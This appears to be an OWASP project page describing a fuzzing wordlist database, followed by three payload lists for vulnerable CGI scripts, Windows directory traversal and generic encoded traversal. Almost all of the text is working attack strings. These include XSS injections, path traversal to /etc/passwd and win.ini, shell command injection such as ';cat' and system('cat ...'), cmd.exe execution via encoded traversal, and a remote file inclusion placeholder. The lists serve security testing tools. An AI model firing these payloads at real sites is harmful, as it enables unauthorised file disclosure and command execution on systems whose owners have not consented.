/> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> gH.cgi<br /> gbadmin.cgi?action=change_adminpass<br /> gbadmin.cgi?action=change_automail<br /> gbadmin.cgi?action=colors<br /> gbadmin.cgi?action=setup<br /> gbook/gbook.cgi?_MAILTO=xx;ls<br /> gbpass.pl<br /> generate.cgi?content=../../../../../../../../../../windows/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../../winnt/win.ini%00board=board_1<br /> generate.cgi?content=../../../../../../../../../..{KNOWNFILE}%00board=board_1<br /> getdoc.cgi<br /> gettransbitmap<br /> glimpse<br /> gm-authors.cgi<br /> gm-cplog.cgi<br /> gm.cgi<br /> guestbook.cgi<br /> guestbook.cgi?user=cpanel&amp;template=|/bin/cat%20{KNOWNFILE}|<br /> guestbook.pl<br /> guestbook/passwd<br /> handler.cgi<br /> hitview.cgi<br /> horde/test.php<br /> horde/test.php?mode=phpinfo<br /> hsx.cgi?show=../../../../../../../../../../..{KNOWNFILE}%00<br /> htgrep?file=index.html&amp;hdr={KNOWNFILE}<br /> html2chtml.cgi<br /> html2wml.cgi<br /> htmlscript?../../../../../../../../../..{KNOWNFILE}<br /> htsearch.cgi?words=%22%3E%3Cscript%3Ealert%'XSS'%29%3B%3C%2Fscript%3E<br /> htsearch?-c/nonexistant<br /> htsearch?config=foofighter&amp;restrict=&amp;exclude=&amp;method=and&amp;format=builtin-long&amp;sort=score&amp;words=<br /> htsearch?exclude=%60{KNOWNFILE}%60<br /> ibill.pm<br /> icat<br /> if/admin/nph-build.cgi<br /> ikonboard/help.cgi?<br /> imageFolio.cgi<br /> imagefolio/admin/admin.cgi<br /> imagemap<br /> include/new-visitor.inc.php<br /> index.js0x70<br /> index.pl<br /> info2www<br /> info2www '(../../../../../../../bin/mail root &lt;{KNOWNFILE}&gt;<br /> infosrch.cgi<br /> ion-p?page=../../../../..{KNOWNFILE}<br /> jailshell<br /> jj<br /> journal.cgi?folder=journal.cgi%00<br /> ksh<br /> lastlines.cgi?process<br /> listrec.pl<br /> loadpage.cgi?user_id=1&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> loadpage.cgi?user_id=1&amp;file=..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> log-reader.cgi<br /> log/<br /> log/nether-log.pl?checkit<br /> login.cgi<br /> login.pl<br /> login.pl?course_id=\<br /> logit.cgi<br /> logs.pl<br /> logs/<br /> logs/access_log<br /> logs/error_log<br /> lookwho.cgi<br /> ls<br /> lwgate<br /> lwgate.cgi<br /> magiccard.cgi?pa=3Dpreview&amp;amp;next=3Dcustom&amp;amp;page=3D../../../../../../../../../..{KNOWNFILE}<br /> mail<br /> mail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> mail/nph-mr.cgi?do=loginhelp&amp;configLanguage=../../../../../../..{KNOWNFILE}%00<br /> mailit.pl<br /> maillist.cgi<br /> maillist.pl<br /> mailnews.cgi<br /> main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=../../../../../../../../../..{KNOWNFILE}<br /> majordomo.pl<br /> man2html<br /> mastergate/search.cgi?search=0&amp;search_on=all<br /> meta.pl<br /> mgrqcgi<br /> mini_logger.cgi<br /> mmstdod.cgi<br /> moin.cgi?test<br /> mojo/mojo.cgi<br /> mrtg.cfg?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> mrtg.cgi?cfg=blah<br /> ms_proxy_auth_query/<br /> mt-static/<br /> mt-static/mt-check.cgi<br /> mt-static/mt-load.cgi<br /> mt-static/mt.cfg<br /> mt/<br /> mt/mt-check.cgi<br /> mt/mt-load.cgi<br /> mt/mt.cfg<br /> multihtml.pl?multi={KNOWNFILE}%00html<br /> musicqueue.cgi<br /> myguestbook.cgi?action=view<br /> namazu.cgi<br /> nbmember.cgi?cmd=list_all_users<br /> netauth.cgi?cmd=show&amp;page=../../../../../../../../../..{KNOWNFILE}<br /> netpad.cgi<br /> newsdesk.cgi?t=../../../../../../../../../..{KNOWNFILE}<br /> nimages.php<br /> nlog-smb.cgi<br /> nlog-smb.pl<br /> non-existent.pl<br /> noshell<br /> nph-emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> nph-error.pl<br /> nph-exploitscanget.cgi<br /> nph-maillist.pl<br /> nph-publish<br /> nph-publish.cgi<br /> nph-showlogs.pl?files=../../&amp;filter=.*&amp;submit=Go&amp;linecnt=500&amp;refresh=0<br /> nph-test-cgi<br /> ntitar.pl<br /> opendir.php?{KNOWNFILE}<br /> orders/orders.txt<br /> pagelog.cgi<br /> pals-cgi?palsAction=restart&amp;documentName={KNOWNFILE}<br /> parse-file<br /> pass<br /> passwd<br /> passwd.txt<br /> password<br /> pbcgi.cgi?name=Joe%Camel&amp;email=%3C<br /> perl<br /> perl?-v<br /> perlshop.cgi<br /> pfdispaly.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> pfdispaly.cgi?../../../../../../../../../..{KNOWNFILE}<br /> pfdisplay.cgi?'%0A/bin/cat%20{KNOWNFILE}|'<br /> phf<br /> phf.cgi?QALIA<br /> phf?Qname=root%0Acat%20{KNOWNFILE}%20<br /> photo/<br /> photo/manage.cgi<br /> photo/protected/manage.cgi<br /> php-cgi<br /> php.cgi?{KNOWNFILE}<br /> plusmail<br /> pollit/Poll_It_<br /> pollssi.cgi<br /> post-query<br /> post_query<br /> postcards.cgi<br /> powerup/r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> printenv<br /> printenv.tmp<br /> probecontrol.cgi?command=enable&amp;username=cancer&amp;password=killer<br /> processit.pl<br /> profile.cgi<br /> pu3.pl<br /> publisher/search.cgi?dir=jobs&amp;template=;cat%20{KNOWNFILE}|&amp;output_number=10<br /> query<br /> query?mss=%2e%2e/config<br /> quickstore.cgi?page=../../../../../../../../../..{KNOWNFILE}%00html&amp;cart_id=<br /> quikstore.cfg<br /> quizme.cgi<br /> r.cgi?FILE=../../../../../../../../../..{KNOWNFILE}<br /> ratlog.cgi<br /> redirect<br /> register.cgi<br /> replicator/webpage.cgi/<br /> responder.cgi<br /> retrieve_password.pl<br /> rksh<br /> rmp_query<br /> robadmin.cgi<br /> robpoll.cgi<br /> rpm_query<br /> rsh<br /> rtm.log<br /> rwcgi60<br /> rwcgi60/showenv<br /> rwwwshell.pl<br /> sawmill5?rfcf+%22{KNOWNFILE}%22+spbn+1,1,21,1,1,1,1<br /> sawmill?rfcf+%22<br /> sbcgi/sitebuilder.cgi<br /> scoadminreg.cgi<br /> scripts/*%0a.pl<br /> search.cgi<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini<br /> search.cgi?..\\..\\..\\..\\..\\..\\..\\..\\..\\winnt\\win.ini<br /> search.php?searchstring=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> search.pl<br /> search.pl?Realm=All&amp;Match=0&amp;Terms=test&amp;nocpp=1&amp;maxhits=10&amp;;Rank=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> search.pl?form=../../../../../../../../../..{KNOWNFILE}%00<br /> search/search.cgi?keys=*&amp;prc=any&amp;catigory=../../../../../../../../../../../../etc<br /> sendform.cgi<br /> sendpage.pl?message=test\;/bin/ls%20/etc;echo%20\message<br /> sendtemp.pl?templ=../../../../../../../../../..{KNOWNFILE}<br /> session/adminlogin<br /> sewse?/home/httpd/html/sewse/jabber/comment2.jse+{KNOWNFILE}<br /> sh<br /> shop.cgi?page=../../../../../../..{KNOWNFILE}<br /> shop.pl/page=;cat%20shop.pl|<br /> shop/auth_data/auth_user_file.txt<br /> shop/orders/orders.txt<br /> shopper.cgi?newpage=../../../../../../../../../..{KNOWNFILE}<br /> shopplus.cgi?dn=domainname.com&amp;cartid=%CARTID%&amp;file=;cat%20{KNOWNFILE}|<br /> show.pl<br /> showcheckins.cgi?person=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> showuser.cgi<br /> simple/view_page?mv_arg=|cat%20{KNOWNFILE}|<br /> simplestguest.cgi<br /> simplestmail.cgi<br /> smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> smartsearch/smartsearch.cgi?keywords=|/bin/cat%20{KNOWNFILE}|<br /> sojourn.cgi?cat=../../../../../../../../../../etc/password%00<br /> spin_client.cgi?aaaaaaaa<br /> ss<br /> sscd_suncourier.pl<br /> ssi//%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e{KNOWNFILE}<br /> start.cgi/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> stat.pl<br /> stat/<br /> stats-bin-p/reports/index.html<br /> stats.pl<br /> stats.prf<br /> stats/<br /> stats/statsbrowse.asp?filepath=c:\&amp;Opt=3<br /> stats_old/<br /> statsconfig<br /> statusconfig.pl<br /> statview.pl<br /> store.cgi?<br /> store/agora.cgi?cart_id=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> store/agora.cgi?page=whatever33.html<br /> store/index.cgi?page=../../../../../../../..{KNOWNFILE}<br /> story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> story/story.pl?next=../../../../../../../../../..{KNOWNFILE}%00<br /> survey<br /> survey.cgi<br /> sws/admin.html<br /> sws/manager.pl<br /> tablebuild.pl<br /> talkback.cgi?article=../../../../../../../..{KNOWNFILE}%00&amp;action=view&amp;matchview=1<br /> tcsh<br /> technote/main.cgi?board=FREE_BOARD&amp;command=down_load&amp;filename=/../../../../../../../../../..{KNOWNFILE}<br /> test-cgi.tcl<br /> test-cgi?/*<br /> test-env<br /> test.cgi<br /> test/test.cgi<br /> texis/junk<br /> texis/phine<br /> textcounter.pl<br /> tidfinder.cgi<br /> tigvote.cgi<br /> title.cgi<br /> tpgnrock<br /> traffic.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> troops.cgi<br /> ttawebtop.cgi/?action=start&amp;pg=../../../../../../../../../..{KNOWNFILE}<br /> ultraboard.cgi<br /> ultraboard.pl<br /> unlg1.1<br /> unlg1.2<br /> update.dpgs<br /> upload.cgi<br /> uptime<br /> urlcount.cgi?%3CIMG%20<br /> ustorekeeper.pl?command=goto&amp;file=../../../../../../../../../..{KNOWNFILE}<br /> utm/admin<br /> utm/utm_stat<br /> view-source<br /> view-source?view-source<br /> view_item?HTML_FILE=../../../../../../../../../..{KNOWNFILE}%00<br /> viewcvs.cgi/viewcvs/?cvsroot=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> viewcvs.cgi/viewcvs/viewcvs/?sortby=rev\<br /> viewlogs.pl<br /> viewsource?{KNOWNFILE}<br /> viralator.cgi<br /> virgil.cgi<br /> vote.cgi<br /> vpasswd.cgi<br /> vq/demos/respond.pl?&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> w3-msql<br /> w3-sql<br /> wais.pl<br /> way-board.cgi?db={KNOWNFILE}%00<br /> way-board/way-board.cgi?db={KNOWNFILE}%00<br /> webais<br /> webbbs.cgi<br /> webbbs/webbbs_config.pl?name=joe&amp;email=test@example.com&amp;body=aaaaffff&amp;followup=10;cat%20{KNOWNFILE}<br /> webcart/webcart.cgi?CONFIG=mountain&amp;CHANGE=YE<br /> webdist.cgi?distloc=;cat%20{KNOWNFILE}<br /> webdriver<br /> webgais<br /> webif.cgi<br /> webmail/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> webmap.cgi<br /> webnews.pl<br /> webplus?about<br /> webplus?script=../../../../../../../../../..{KNOWNFILE}<br /> websendmail<br /> webspirs.cgi?sp.nextform=../../../../../../../../../..{KNOWNFILE}<br /> webutil.pl<br /> webutils.pl<br /> webwho.pl<br /> where.pl?sd=ls%20/etc<br /> whois.cgi?action=load&amp;whois=%3Bid<br /> whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois/whois.cgi?lookup=;&amp;ext=/bin/cat%20{KNOWNFILE}<br /> whois_raw.cgi?fqdn=%0Acat%20{KNOWNFILE}<br /> windmail<br /> wrap<br /> wrap.cgi<br /> ws_ftp.ini<br /> www-sql<br /> wwwadmin.pl<br /> wwwboard.cgi.cgi<br /> wwwboard.pl<br /> wwwstats.pl<br /> wwwthreads/3tvars.pm<br /> wwwthreads/w3tvars.pm<br /> wwwwais<br /> zml.cgi?file=../../../../../../../../../..{KNOWNFILE}%00<br /> zsh<br /> &lt;/pre&gt;<br /> <br /> === Windows Directory Traversal (Update: 17 March 2010 ===<br /> &lt;pre&gt;# Windows Directory Traversal (Update: 17 March 2010<br /> # adam.muntner@quietmove.com<br /> # released under creative commons license<br /> <br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> &lt;/pre&gt;<br /> <br /> === Generic 8 Directory Deep Traversal Fuzz (17 March 2010) ===<br /> &lt;pre&gt;<br /> # Generic 8 Directory Deep Traversal Fuzz (17 March 2010) <br /> # Derived from the awesome &quot;Directory Traversal Fuzzing Code&quot; v0.2 by Luca Carettoni<br /> # Did some cleanup &amp; removed anything to the right of {FILE} for inclusion in a<br /> # separate fuzzfile for more flexibiity, for the OWASP Fuzzing Code Database. <br /> # adam.muntner@uietmove.com <br /> <br /> ../{FILE}<br /> ../../{FILE}<br /> ../../../{FILE}<br /> ../../../../{FILE}<br /> ../../../../../{FILE}<br /> ../../../../../../{FILE}<br /> ../../../../../../../{FILE}<br /> ../../../../../../../../{FILE}<br /> ..%2f{FILE}<br /> ..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> ..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f{FILE}<br /> %2e%2e/{FILE}<br /> %2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/{FILE}<br /> %2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f{FILE}<br /> ..%252f{FILE}<br /> ..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> ..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f{FILE}<br /> %252e%252e/{FILE}<br /> %252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/{FILE}<br /> %252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> %252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f{FILE}<br /> 